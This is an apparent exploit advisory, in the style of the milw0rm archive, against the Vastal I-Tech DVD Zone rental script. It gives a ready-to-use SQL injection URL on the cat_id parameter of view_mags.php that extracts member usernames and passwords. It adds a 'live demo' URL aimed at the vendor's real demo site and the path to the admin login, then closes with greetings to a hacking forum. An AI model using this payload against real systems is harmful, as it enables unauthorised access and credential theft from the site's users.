30 lines
No EOL
1,023 B
Text
30 lines
No EOL
1,023 B
Text
#######################################################
|
|
# Vastal I-Tech DVD Zone ( cat_id ) SQL Injection Vulnerability
|
|
#
|
|
# Author : DeViL iRaQ
|
|
#
|
|
# Email : guitar_lover46[at]yahoo[dot]com
|
|
#
|
|
# Price : $399.99 (:
|
|
#
|
|
# Script Home Page : hhttp://www.vastal.com/dvd-zone-dvd-rental-script.html
|
|
#
|
|
# Demo : http://dvdzone.vastal.com/
|
|
#
|
|
# Dork : N/A
|
|
########################################################
|
|
# Exploit :
|
|
# www.[sitename].com/view_mags.php?cat_id=-21+union+select+concat(user_name,0x3a,password)+from+members
|
|
#
|
|
# Live Demo:
|
|
# http://dvdzone.vastal.com/view_mags.php?cat_id=-21+union+select+concat(user_name,0x3a,password)+from+members
|
|
#
|
|
# Admin login :
|
|
# http://www.[sitename].com/admin/
|
|
#########################################################
|
|
# Greetz :
|
|
# All members of the Forum WwW.Hussin-X.CoM
|
|
# Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
|
|
#########################################################
|
|
|
|
# milw0rm.com [2008-09-05] |